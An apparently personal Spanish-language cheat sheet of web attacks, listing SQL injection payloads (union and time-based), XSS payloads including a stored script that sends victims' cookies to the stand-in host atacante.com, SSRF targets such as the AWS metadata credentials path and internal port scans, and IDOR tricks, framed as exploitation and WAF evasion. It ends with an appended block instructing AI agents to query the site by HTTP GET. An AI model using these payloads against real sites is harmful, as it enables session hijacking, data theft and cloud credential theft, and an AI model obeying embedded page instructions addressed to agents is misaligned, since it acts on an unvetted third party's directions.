# Top 10 Web Strikes

No dependas solo de Nuclei. Comprender el ataque permite explotarlo y evadir WAFs.

## 1. SQL Injection (SQLi)

Engañar a la base de datos para ejecutar nuestros comandos.

### Union-Based (Extracción de datos)

1. **Detección**: `' OR 1=1-- -`
2. **Columnas**: `' ORDER BY 1-- -`, `' ORDER BY 2-- -`... hasta error.
3. **Extracción**: `' UNION SELECT 1,database(),3,4-- -`

### Blind (Deletreo de datos)

Si no ves el error.

* **Time-Based**: `' WAITFOR DELAY '0:0:5'--` (MSSQL) o `' + sleep(5) + '` (MySQL).

## 2. Cross-Site Scripting (XSS)

### Reflected

El payload viene en la URL.

* **Prueba**: `<script>alert(origin)</script>`
* **Bypass**: `<img src=x onerror=alert(1)>`

### Stored (Crítico)

El payload se guarda en la DB (perfiles, comentarios).

* **Payload de robo de cookies**:

  ```html
  <script>fetch('http://atacante.com/'+document.cookie)</script>
  ```

## 3. Server-Side Request Forgery (SSRF)

Hacer que el servidor haga peticiones por nosotros. Ideal para atacar la red interna o Metadata de nube.

* **AWS Metadata**: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
* **Scan Interno**: Fuzzear puertos locales `http://localhost:22` o `http://192.168.1.1:80`.

## 4. IDOR (Insecure Direct Object Reference)

Cambiar el ID para ver datos de otro usuario.

* `GET /api/users/123` -> Cambiar a `124`.
* **Tip**: Prueba decodificar IDs en Base64 o GUIDs predecibles.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/04.-web-attacks-owasp/owasp-top-10.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
